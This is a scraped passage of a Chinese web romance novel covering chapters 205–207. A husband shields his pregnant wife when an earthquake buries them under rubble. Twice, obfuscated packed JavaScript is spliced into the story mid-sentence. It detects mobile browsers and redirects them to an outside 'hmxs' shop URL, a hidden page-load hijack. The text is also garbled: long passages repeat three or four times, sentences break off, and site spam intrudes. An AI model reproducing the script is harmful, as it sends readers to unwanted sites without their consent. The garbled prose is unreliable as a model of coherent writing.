陆京洲低笑,胸腔的震动温柔地传递给她,“把我总结出来的哄老婆技巧分享给你听听,想不想听?” 岑予衿重重的点了点头,“想听。” “老婆得宠着,哄着,供着!” “老婆说的每一句话都是对的!” “老婆不开心,老公的问题!” “老婆被欺负,三秒钟不出现可以换老公了!” “老婆上一秒被不长眼的欺负,下一秒拳头就该落他脸上,管他男的女的往死里打就对了!” “油嘴滑舌。”岑予衿嘴角却止不住地上扬。 “笙笙,我不是油嘴滑舌,我说到做到。”陆京洲的声音让她莫名心安,“我绝对绝对不会让别人欺负你。” 岑予衿100%相信! 陆京洲安排好了国内的一切,和她玩了好几个城市! 整整一个月,一点国内的消息都没有收到。 岑予衿状态是肉眼可见的变好了,每天都笑眯眯的。 小脸都圆了一圈。 一开始的时候,她还担心自己变胖了不好看,不敢吃。 可是架不住有一个非常会提供情绪价值的老公。 一日三餐算好了卡路里,让她吃饱吃好又不会吃胖。 晚饭后还会带她去散步。 回到家里雷打不动的给她按摩,涂妊娠油。 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“老婆说的每一句话都是对的!” “老婆不开心,老公的问题!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997923|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “老婆被欺负,三秒钟不出现可以换老公了!” “老婆上一秒被不长眼的欺负,下一秒拳头就该落他脸上,管他男的女的往死里打就对了!” “油嘴滑舌。”岑予衿嘴角却止不住地上扬。 “笙笙,我不是油嘴滑舌,我说到做到。”陆京洲的声音让她莫名心安,“我绝对绝对不会让别人欺负你。” 岑予衿100%相信! 陆京洲安排好了国内的一切,和她玩了好几个城市! 整整一个月,一点国内的消息都没有收到。 岑予衿状态是肉眼可见的变好了,每天都笑眯眯的。 小脸都圆了一圈。 一开始的时候,她还担心自己变胖了不好看,不敢吃。 可是架不住有一个非常会提供情绪价值的老公。 一日三餐算好了卡路里,让她吃饱吃好又不会吃胖。 晚饭后还会带她去散步。 回到家里雷打不动的给她按摩,涂妊娠油。 离预产期已经不到一个月了,不回国老太太已经要拿刀过来**了! 两人这才定了回国的时间。 “回去就要被老太太盯着补身子了,想想都觉得幸福。” 岑予衿往他身边挪了挪,靠着他的肩膀,声音软糯,“这一个月真的好开心,没有烦心事,就跟着你到处玩。” “以后每年都带你出来,等小家伙出生,我们一家四口一起,想去哪就去哪。”陆京洲收紧手臂,小心翼翼地护着她的孕肚,不让她被夜风着凉,“累了就回房睡,露台风大,别吹久了。” 岑予衿点点头,被陆京洲半扶半抱地挪回房间。 民宿的房间很宽敞,木质的地板踩上去软软的,床头摆着她喜欢的茉莉花,空气中还飘着淡淡的香薰味,是助眠的薰衣草香。 陆京洲帮她掖好被角,又仔细检查了一遍房间里的防滑垫、夜灯,确认所有可能磕碰到的地方都做了防护,才在她身边躺下。 他的手臂轻轻环着她的腰,避开了她的孕肚,掌心稳稳地托着她的后背,让她睡得更安稳些。 岑予衿靠在他怀里,听着他沉稳有力的心跳声,鼻尖萦绕着他身上清冽的雪松味,很快就有了困意,迷迷糊糊间便坠入了梦乡。 夜半时分,万籁俱寂,只有窗外偶尔传来几声海浪拍岸的轻响。 岑予衿睡得正沉,忽然感觉到身下传来一阵轻微的晃动,像是有人在轻轻摇晃床板。 她皱了皱眉,以为是自己的错觉,翻了个身想继续睡,可下一秒,晃动骤然变得剧烈起来。 木质的地板发出咯吱咯吱的声响,墙上的挂画剧烈摇晃。 床头柜上的水杯哗啦一声摔在地上,碎裂的声响刺破夜的宁静。 连窗外的风声都变得急促起来! 后我就知道该怎么做了。” 海风轻柔,纱帐微拂。 岑予衿靠在他肩上,看着远处海天一色的美景,心里软得一塌糊涂。 陆京洲低笑,胸腔的震动温柔地传递给她,“把我总结出来的哄老婆技巧分享给你听听,想不想听?” 岑予衿重重的点了点头,“想听。” “老婆得宠着,哄着,供着!” “老婆说的每一句话都是对的!” “老婆不开心,老公的问题!” “老婆被欺负,三秒钟不出现可以换老公了!” “老婆上一秒被不长眼的欺负,下一秒拳头就该落他脸上,管他男的女的往死里打就对了!” “油嘴滑舌。”岑予衿嘴角却止不住地上扬。 “笙笙,我不是油嘴滑舌,我说到做到。”陆京洲的声音让她莫名心安,“我绝对绝对不会让别人欺负你。” 岑予衿100%相信! 陆京洲安排好了国内的一切,和她玩了好几个城市! 整整一个月,一点国内的消息都没有收到。 岑予衿状态是肉眼可见的变好了,每天都笑眯眯的。 小脸都圆了一圈。 一开始的时候,她还担心自己变胖了不好看,不敢吃。 可是架不住有一个非常会提供情绪价值的老公。 一日三餐算好了卡路里,让她吃饱吃好又不会吃胖。 晚饭后还会带她去散步。 回到家里雷打不动的给她按摩,涂妊娠油。 离预产期已经不到一个月了,不回国老太太已经要拿刀过来**了! 两人这才定了回国的时间。 “回去就要被老太太盯着补身子了,想想都觉得幸福。” 岑予衿往他身边挪了挪,靠着他的肩膀,声音软糯,“这一个月真的好开心,没有烦心事,就跟着你到处玩。” “以后每年都带你出来,等小家伙出生,我们一家四口一起,想去哪就去哪。”陆京洲收紧手臂,小心翼翼地护着她的孕肚,不让她被夜风着凉,“累了就回房睡,露台风大,别吹久了。” 岑予衿点点头,被陆京洲半扶半抱地挪回房间。 民宿的房间很宽敞,木质的地板踩上去软软的,床头摆着她喜欢的茉莉花,空气中还飘着淡淡的香薰味,是助眠的薰衣草香。 陆京洲帮她掖好被角,又仔细检查了一遍房间里的防滑垫、夜灯,确认所有可能磕碰到的地方都做了防护,才在她身边躺下。 他的手臂轻轻环着她的腰,避开了她的孕肚,掌心稳稳地托着她的后背,让她睡得更安稳些。 岑予衿靠在他怀里,听着他沉稳有力的心跳声,鼻尖萦绕着他身上清冽的雪松味,很快就有了困意,迷迷糊糊间便坠入了梦乡。 夜半时分,万籁俱寂,只有窗外偶尔传来几声海浪拍岸的轻响。 岑予衿睡得正沉,忽然感觉到身下传来一阵轻微的晃动,像是有人在轻轻摇晃床板。 她皱了皱眉,以为是自己的错觉,翻了个身想继续睡,可下一秒,晃动骤然变得剧烈起来。 木质的地板发出咯吱咯吱的声响,墙上的挂画剧烈摇晃。 床头柜上的水杯哗啦一声摔在地上,碎裂的声响刺破夜的宁静。 连窗外的风声都变得急促起来! 后我就知道该怎么做了。” 海风轻柔,纱帐微拂。 岑予衿靠在他肩上,看着远处海天一色的美景,心里软得一塌糊涂。 陆京洲低笑,胸腔的震动温柔地传递给她,“把我总结出来的哄老婆技巧分享给你听听,想不想听?” 岑予衿重重的点了点头,“想听。” “老婆得宠着,哄着,供着!” “老婆说的每一句话都是对的!” “老婆不开心,老公的问题!” “老婆被欺负,三秒钟不出现可以换老公了!” “老婆上一秒被不长眼的欺负,下一秒拳头就该落他脸上,管他男的女的往死里打就对了!” “油嘴滑舌。”岑予衿嘴角却止不住地上扬。 “笙笙,我不是油嘴滑舌,我说到做到。”陆京洲的声音让她莫名心安,“我绝对绝对不会让别人欺负你。” 岑予衿100%相信! 陆京洲安排好了国内的一切,和她玩了好几个城市! 整整一个月,一点国内的消息都没有收到。 岑予衿状态是肉眼可见的变好了,每天都笑眯眯的。 小脸都圆了一圈。 一开始的时候,她还担心自己变胖了不好看,不敢吃。 可是架不住有一个非常会提供情绪价值的老公。 一日三餐算好了卡路里,让她吃饱吃好又不会吃胖。 晚饭后还会带她去散步。 回到家里雷打不动的给她按摩,涂妊娠油。 离预产期已经不到一个月了,不回国老太太已经要拿刀过来**了! 两人这才定了回国的时间。 “回去就要被老太太盯着补身子了,想想都觉得幸福。” 岑予衿往他身边挪了挪,靠着他的肩膀,声音软糯,“这一个月真的好开心,没有烦心事,就跟着你到处玩。” “以后每年都带你出来,等小家伙出生,我们一家四口一起,想去哪就去哪。”陆京洲收紧手臂,小心翼翼地护着她的孕肚,不让她被夜风着凉,“累了就回房睡,露台风大,别吹久了。” 岑予衿点点头,被陆京洲半扶半抱地挪回房间。 民宿的房间很宽敞,木质的地板踩上去软软的,床头摆着她喜欢的茉莉花,空气中还飘着淡淡的香薰味,是助眠的薰衣草香。 陆京洲帮她掖好被角,又仔细检查了一遍房间里的防滑垫、夜灯,确认所有可能磕碰到的地方都做了防护,才在她身边躺下。 他的手臂轻轻环着她的腰,避开了她的孕肚,掌心稳稳地托着她的后背,让她睡得更安稳些。 岑予衿靠在他怀里,听着他沉稳有力的心跳声,鼻尖萦绕着他身上清冽的雪松味,很快就有了困意,迷迷糊糊间便坠入了梦乡。 夜半时分,万籁俱寂,只有窗外偶尔传来几声海浪拍岸的轻响。 岑予衿睡得正沉,忽然感觉到身下传来一阵轻微的晃动,像是有人在轻轻摇晃床板。 她皱了皱眉,以为是自己的错觉,翻了个身想继续睡,可下一秒,晃动骤然变得剧烈起来。 木质的地板发出咯吱咯吱的声响,墙上的挂画剧烈摇晃。 床头柜上的水杯哗啦一声摔在地上,碎裂的声响刺破夜的宁静。 连窗外的风声都变得急促起来! 第205章 笙笙,地震了! 在岑予衿还没反应过来发生了什么,迷迷糊糊从睡梦中醒来的时候。 床板突然发出一阵刺耳的咯吱声,紧接着,整间卧室都开始剧烈摇晃。 窗外的路灯骤然熄灭,玻璃碎裂的脆响,连带着床头柜上的水杯都“哐当一声砸在地板上,溅起满地冰凉的水渍。 陆京洲的反应比她更快! 在最初那几秒轻微晃动,他就有了反映,“笙笙,地震了! 他来不及多想,长臂一伸就捞过旁边的枕头,死死护在她的后脑勺上。 她怀了八个月的身孕,圆滚滚的肚子高高隆起,还是双胞胎,是半点磕碰都受不得的。 陆京洲另一只手飞快扯过被子,三下五除二将她裹成一个紧实的茧,只小心翼翼地露出她那张还带着睡意、骤然染上惊惶的小脸。 “笙笙,别怕,我在呢。他声音又带着刚睡醒的微哑,却让人无比心安,手掌下意识地覆在她的孕肚上,轻轻护着。 陆京洲自己那边的枕头早就被他利落地丢到了地上,厚厚的棉枕垫在冰凉的瓷砖上,能稍微缓冲一下磕碰。 下一秒,他用了极大的力气,小心翼翼地将她整个人抱起来,动作快得带起一阵风,却又稳得可怕,生怕颠着她腹中的宝宝。 承重墙就在床的左侧,是整个房间最坚固的地方。 他几乎是抱着她踉跄着扑过去,后背狠狠抵住冰凉坚硬的墙面,才堪堪稳住身形。 来不及说话,更来不及反应,剧烈的摇晃越来越厉害,头顶的水晶吊灯发出骇人的碰撞声,细碎的玻璃碴簌簌往下掉。 陆京洲毫不犹豫地俯身,用自己宽阔结实的脊背,牢牢地将她护在身下,将她和肚子里的宝宝,都严严实实地挡在自己和墙壁之间。 这么大的动静,岑予衿自然也被惊醒了,房间里已经没有什么量。 只有外头的光,透过来打在他的脸上…… “阿洲……快……快找东西护住自己!岑予衿的语气中是止不住的慌乱! 他的后背绷得像一张拉满的弓,能清晰地听到碎石和灰尘砸在背上的声音。 可他连眉头都没皱一下,只是低头,用温热的呼吸拂过她的发顶,一遍又一遍地低声安抚,“没事的,老婆,我在。有我在,你和宝宝都不会有事的。 她被他护在怀里,听着他胸腔有力的心跳,感受着他后背传来的震动,更加害怕。 那铺天盖地的摇晃和耳边的轰鸣,依旧让她忍不住攥紧了他的衣角,指尖因为用力 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 而泛白。 陆京洲已经听清楚她的话了。 可是从地震的强度来看,逃出去不可能。 跑到卫生间也不可能。 她怀孕了,行动不方便。 丢下她……那更不可能。 他要是选择护住自己,她和宝宝就绝对会出事儿。 他脑子里的第一反应就是哪怕自己死在这儿,也得护他们周全! 用自己的一条命,就三条命,很值得,很划算! 地震的嘶吼在这一刻达到了顶峰。 那声音不再是从地底传来,而是从四面八方挤压过来。 像一头被激怒的洪荒巨兽,正张开深渊般的巨口,要将这间温馨的卧室,这栋楼,乃至整个世界都吞入腹中。 轰鸣灌满了岑予衿的耳朵,淹没了她自己的心跳,只剩下陆京洲胸膛里传来的,擂鼓般急促却依旧试图沉稳的搏动。 水晶吊灯发出最后的哀鸣。 “哗啦——!” 刺耳的碎裂声炸开! 不是一片一片,而是整盏灯,连同那些早已松脱的固定件,裹挟着狂暴下坠的力量,狠狠砸在陆京洲弓起的脊背上。 “唔!”一声压抑到极致的闷哼从他喉咙深处挤出来,滚烫的呼吸喷在岑予衿的颈侧。 “陆京洲你受伤了对不对?” 岑予衿甚至能清晰地感觉到他全身肌肉瞬间的痉挛,那护着她的臂弯却纹丝未动,反而收得更紧。 紧得她有些喘不过气,却也将所有致命的坠落物隔绝在他的身躯之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002410|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外。 灰尘混合着细小的玻璃碴,像一场肮脏的雪,扑簌簌落了他们满头满身。 更大的水泥碎块开始从天花板上剥落,咚咚地砸在他的肩背,发出令人牙酸的闷响。 每一下撞击,他的身体都会难以抑制地微微一震,可他覆在她身上的姿势,没有半分改变。 “陆京洲!你的头……护住头啊!”岑予衿的声音带了哭腔,在剧烈的震荡和轰鸣中细弱却尖锐。 她徒劳地想抬手,想推开一点点缝隙,哪怕只是让他能抬起手臂挡一下后脑。 可她被裹在被子里,又被他钢铁般的怀抱禁锢,唯一能动的只有被他护在胸前的那只手,此刻正死死抓着他胸前的衣料,指尖几乎要嵌进他的皮肉里。 眼泪不受控制地涌出来,滚烫的,瞬间冰凉的,和着灰尘,糊了她一脸。 她看不见,却能闻到空气中浓重的尘土味,还有……一丝极淡的,从他身上传来的铁锈般的腥气。 他受伤了,她确定他受伤了。 “别动……笙笙,别怕……”他的声音贴着她的耳朵响起,沙哑得厉害,每一个字都像是从咬紧的牙关中碾磨出来的,却依旧执拗地重复着安抚,“我没事……真的一点事儿都没有……别担心我。” “轰——!!” 一声更为沉闷、更为恐怖的巨响从头顶正上方传来,仿佛苍穹倾塌。 承重墙发出不堪重负的呻吟,墙体表面瞬间爬满蛛网般的裂纹。 紧接着,是梁柱断裂的脆响,砖石如暴雨般倾泻! 陆京洲在最后那一刹那,用尽全身力气,将原本就低俯的身体压得更低,几乎是将自己完全蜷缩起来。 变成一座密不透风的堡垒,将怀里的她和鼓胀的孕肚死死扣在墙壁与他胸膛之间那唯一的三角空间里。 世界在岑予衿的感知里彻底崩塌了。 震耳欲聋的轰鸣、重物砸落的撞击、玻璃碎裂的尖啸、墙体倒塌的闷响…… 所有声音混合成末日交响,然后,在某一刻,被窒息般的死寂所取代。 光线彻底消失了! 第206章 我还欠你一场婚礼 彻底的黑暗,沉重得如同实质,压在她的眼皮上。 空气变得灼热而浑浊,每吸一口气,都带着大量的粉尘,呛得她想要咳嗽,却又被巨大的恐惧扼住了喉咙。 身上沉重无比。 不是陆京洲的重量,而是更多、更杂乱的东西,压在他的背上,再透过他,将那种毁灭性的压力传递到她身上。 他依旧支撑着,可那支撑的脊梁,在无法估量的重压下,带着令人心碎的颤抖。 “阿……洲?”她张了张嘴,声音嘶哑,带着无法抑制的颤栗。 没有立刻回应。 几秒钟的沉寂,在岑予衿的感觉里,漫长得像一个世纪。 无边的恐惧攫住了她的心脏,冰冷的寒意从脚底直窜头顶。 她的声音不自觉地放大了好多倍,像是要穿破他的耳膜,“陆京洲!!!” “我……在。”终于,他微弱的声音从极近的地方传来,气息短促,“笙笙……别说话……省力气……我没事……” 怎么可能没事! 房子都倒了。 全部都倒了! 吊灯,墙体全部都砸下来了,怎么可能会没事儿? “是不是很疼?”岑予衿的声音染上了哭腔,哽咽到几乎说不下去。 “不疼,一点都不疼!”陆京洲极力的压制着声音,想让自己的声音听起来稍微正常一点! 可是无论怎么装,细微的变化还是出卖了他此时的身体情况。 岑予衿能感觉到温热的液体,正一滴,一滴,缓慢地渗过她被泪水浸湿的鬓角,滴落在她的脸颊上。 粘稠的,带着浓重的血腥气。 那是他的血。 他流血了…… 伤得很严重! 从血滴落的角度来看,应该是从他被重物砸破的后脑,或是肩背,流下来的血。 “呜……”压抑的、破碎的呜咽终于冲破了喉咙,岑予衿在他紧密的怀抱里颤抖起来。 不是因为地震产生的恐惧,而是因为铺天盖地的心疼和害怕失去他,“阿洲……血……你流血了……” 她想摸摸他的脸,却动弹不得。 黑暗剥夺了她的视觉,却让其他感官变得异常敏锐。 血腥味,尘土味,他隐忍的呼吸声,还有身下冰冷潮湿的地面……这一切都在告诉她一个残酷的事实。 他们被埋在了废墟之下了! 只有他撑起的这一方染血的角落,是她和孩子们暂时的庇护所。 “小伤……绝对不会有事儿的。”他艰难地调整了一下呼吸,似乎想让自己听起来更轻松些,信誓旦旦的保证,“别哭……笙笙,保存体力……宝宝……宝宝还好吗?” 岑予衿这才从巨大的惊恐中勉强抽出一丝心神,感受腹中的动静。 或许是被这可怕的变故惊扰,两个小家伙正在不安地躁动,踢蹬着。 疼痛随着胎动传来,但并无规律,也并非难以忍受。 “宝宝……在动……宝宝没事儿。”她哽咽着回答。 “那就好……”陆京洲似乎松了口气,那支撑着废墟重量的颤抖,似乎也平稳了些许,“别怕……会有人来救我们的……一定会……” 他的声音越来越低,越来越轻,像是耗尽了电池的收音机,渐渐只剩下微弱的气流音。 “阿洲!阿洲我求你了,你跟我说说话好不好?!我好怕!”岑予衿慌了,用尽力气喊他,眼泪汹涌而出。 “好……我说话……”陆京洲的声音又勉强清晰了一些,带着粗重的喘息,每一个字都像是从牙缝里挤出来的,却依然努力维持着平稳的语调。 “笙笙……别怕……我在这儿呢……我……我会保持清醒……跟你说话……直到我们俩都平平安安的被救援队的人发现离开这儿。” 他吸了口气,那吸气声在死寂的黑暗里显得异常沉重,带着血沫摩擦的湿响。 “宝宝……”他试图转移话题,分散她的恐惧,“我们……还没给他们想好名字,起名字的话,我觉得你起的肯定比我起的好听……现在说这些也没用,陆家的名字都是要看字辈的,咱们俩应该做不了主。” 陆京洲一个人碎碎念着,尽量的保持意识清醒,“不过,老婆你可以先好好想想,要是想到好听的,等宝宝出生了,先去办出生证明,他们瞎改就麻烦了。” 岑予衿听着他的话,心里酸酸胀胀的,声音里的哭腔已经压不住了,“我想不出来……你想一个吧!” 陆京洲撑在墙壁上的手已经没有知觉了,可是他知道,要是松开了,她会受伤。 还是强撑着。 “你觉得……叫安安和乐乐……好不好?不求大富大贵……只求他们……平平安安……快快乐乐……” 岑予衿死死咬住嘴唇,不让自己哭出声,拼命点头,又想起他看不见,才用嘶哑的声音应道,“好……好听,阿洲我觉得很好听,不论是男孩女孩都能用。” “我也觉得好听……”陆京洲的声音里似乎带上了点笑意,却立刻被一阵压抑的 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏 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“你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 闷哼打断。 他似乎咬紧了牙关,过了好几秒,才重新开口,声音比刚才更虚弱了几分,断断续续地,像是随时会断掉,“笙笙……有件事……我一直……特别后悔……” “什么?”岑予衿的心揪紧了。 “我们的……婚礼……”他的气息更加不稳,每一个音节都伴随着艰难的喘息,“我对不起你……那时候……被奶奶逼着和你结婚……心里有怨气……全……全撒在你身上了……” “不是的……”岑予衿想反驳,那时他们之间全是冰冷的交易和互相折磨。 “你听我说……”陆京洲打断她,语速加快了些,仿佛怕来不及说完。 “婚礼……没给你好脸色……甚至没让你在婚礼上露脸,婚礼明明是一个女孩最重要的日子,我却没有你拥有一个完整的婚礼,对不起……” 他声音里的痛苦和悔恨,比此刻身上的重压更让她窒息。 “我太混账了……”他几乎是咬着牙在骂自己,“还有补拍的婚纱照,好可惜……我都还没看过成品。” “笙笙,你可不可以原谅我?” 他的话已经前言不搭后语,他自己都不知道自己在说什么了。 一阵剧烈的咳嗽打断了他,岑予衿感觉到他整个身体都在痉挛般地颤抖,压在身上的重量似乎也随之晃动。 她惊恐地屏住呼吸,直到咳嗽声平息,换来他更急促、更破碎的呼吸。 “陆京洲!别说了!求你别说了!我不在乎那些!我只要你没事!”岑予衿泣不成声,那些过往的委屈和此刻的心疼绞在一起,让她痛不欲生。 “我在乎……”他固执地,用气音坚持着,“我那时候,就是个彻头彻尾的混蛋,笙笙我欠你一场真正的婚礼,欠你在所有亲友面前光明正大地牵你的手说爱你的圆满婚礼。” 第207章 陆京洲你给我坚持住! 岑予衿的心脏像是被一只无形的手死死攥住,痛得无法呼吸。 她拼尽全力,在那狭窄得几乎无法动弹的空间里,艰难地一点一点地将自己的右手从包裹着她的被子和陆京洲紧箍的手臂间抽出来。 指尖触碰到他脸颊的瞬间,她的血液几乎凝固。 湿漉漉的,温热粘稠的液体糊满了她的指尖。 浓重的铁锈味瞬间钻进鼻腔…… 那是血,全部都是他的血! 满脸都是,从脸颊流到了脖子上。 好多好多血…… 他的脸和手也冷的不像话,根本就不像一个正常人应该有的温度。 不对劲…… 巨大的恐慌瞬间占据了她的大脑,让她失去了判断的能力。 “阿洲……”她的声音抖得不成样子,指尖颤抖着,想替他擦去那些血污,却又怕弄疼他,“好多血……你……” “别……乱动……”陆京洲的声音几乎是从喉咙深处挤出来的,带着浓重的气音和无法掩饰的痛苦,但他仍努力让自己的话清晰,“笙笙乖……手放回去……冷……” 